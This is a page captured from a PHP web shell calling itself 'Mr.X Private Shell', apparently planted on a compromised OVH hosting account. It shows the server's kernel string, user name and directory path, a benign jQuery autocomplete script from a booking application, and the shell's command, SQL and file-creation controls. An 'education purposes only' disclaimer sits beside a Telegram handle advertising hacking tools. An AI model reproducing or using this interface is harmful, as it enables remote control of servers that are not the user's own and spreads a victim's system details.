Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/////booked/Web/scripts      ( Reset | Go to )
File Name: autocomplete.js
Edit
$.fn.userAutoComplete = function(url, selectionCallback)
{
    var textbox = $(this);

    //var options = $.extend({}, opts);

    textbox.autocomplete(
        {
            source: function(request, response) {
                $.ajax({
                    url: url,
                    dataType: "json",
                    data: {
                        term: request.term
                    },
                    success: function(data) {
                        response($.map(data, function(item) {
                            var l = item.Name;
                            if (item.DisplayName)
                            {
                                l = item.DisplayName
                            }
                            return {
                                label: l,
                                value: item.Id,
                                data: item
                            }
                        }));
                    }
                });
            },
            focus: function(event, ui) {
                textbox.val(ui.item.label);
                return false;
            },
            select: function(event, ui) {
                if (selectionCallback != undefined)
                {
                    selectionCallback(ui, textbox);
                    //textbox.val('');
                }
                else
                {
                    textbox.val(ui.item.label);
                }

                return false;
            }
        });
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL